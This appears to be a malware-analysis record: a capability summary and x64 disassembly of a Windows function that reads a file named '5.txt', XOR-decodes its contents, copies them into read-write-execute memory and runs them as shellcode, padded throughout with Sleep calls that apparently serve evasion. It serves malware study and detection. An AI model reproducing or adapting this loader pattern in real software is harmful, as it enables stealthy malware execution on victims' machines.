Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1400120e8]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xf2812055c0bccd90
movabs rdi, 0x969ddeb66dec3dad
mov qword [rsp + 0x70], rax
movabs rsi, 0x4be1534ffd4b1cd9
movabs rax, 0xbf97f955db92ad21
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x78], rax
movabs r12, 0x2b5760e264f8c356
movabs rax, 0xe6970c51cb5845a5
mov qword [rsp + 0x58], rsi
mov qword [rbp - 0x80], rax
movabs r13, 0x29ea16713bca73b2
movabs rax, 0xf83aa031b90e12dd
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x78], rax
mov ecx, 0xa
movabs rax, 0x6ea60eafd6e98d6e
mov qword [rsp + 0x68], r13
mov qword [rbp - 0x70], rax
movabs rax, 0x44fd5a748a96ab0e
mov qword [rbp - 0x68], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.5.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
movabs r15, 0xb9b2e4c51d9849c5
movabs r14, 0x2d80353c9c3c6bae
cmp eax, 0xffffffff
jne 0x140001520
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x4e201383159db427
mov qword [rsp + 0x50], rdi
mov qword [rbp - 0x30], rax
lea r8, str.5.txt
mov qword [rsp + 0x58], rsi
lea rdx, [rsp + 0x50]
movabs rax, 0x1bd224420ae74780
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x68], r13
movabs rax, 0x9de20e61f38efda9
movdqa xmm1, xmmword [rsp + 0x60]
xor ecx, ecx
pxor xmm1, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0xd0ff9a78abf38352
mov qword [rbp - 0x18], rax
movabs rax, 0x8bb96b3fa22922cb
mov qword [rbp - 0x10], rax
movabs rax, 0xd65ed55ed56d63a4
mov qword [rbp - 8], rax
movabs rax, 0x1a883a9df984e20d
mov qword [rbp], rax
movabs rax, 0x44fd5a748a96df76
mov qword [rbp + 8], rax
movabs rax, 0xf2812055c0bccd90
mov qword [rsp + 0x70], rax
movabs rax, 0xbf97f955db92ad21
mov qword [rsp + 0x78], rax
movabs rax, 0xe6970c51cb5845a5
mov qword [rbp - 0x80], rax
movabs rax, 0xf83aa031b90e12dd
mov qword [rbp - 0x78], rax
movabs rax, 0x6ea60eafd6e98d6e
mov qword [rbp - 0x70], rax
movabs rax, 0x44fd5a748a96ab0e
mov qword [rbp - 0x68], rax
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp - 0x10]
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r14
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x20], rbx
call qword [0x140012910]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, str.5.txt
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1400015e9
mov rcx, rsi
call qword [0x14000ba80]
jmp 0x1400017c0
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.msvcrt.dll_malloc]
mov ecx, 0xa
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x20], rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400017c0
mov eax, dword [rsp + 0x48]
cmp rax, qword [rsp + 0x40]
jne 0x1400017c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call qword [0x14000ba80]
mov rsi, qword [rsp + 0x40]
movabs rax, 0xb9f6bcf444db0d9d
mov qword [rbp - 0x60], rax
mov ecx, 0x64
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r14
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400016d0
test rsi, rsi
je 0x1400016f8
nop dword [rax]
xor edx, edx
mov rax, rbx
div rcx
movzx eax, byte [rbp + rdx - 0x60]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, rsi
jb 0x1400016e0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0xa
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, qword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140003130
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret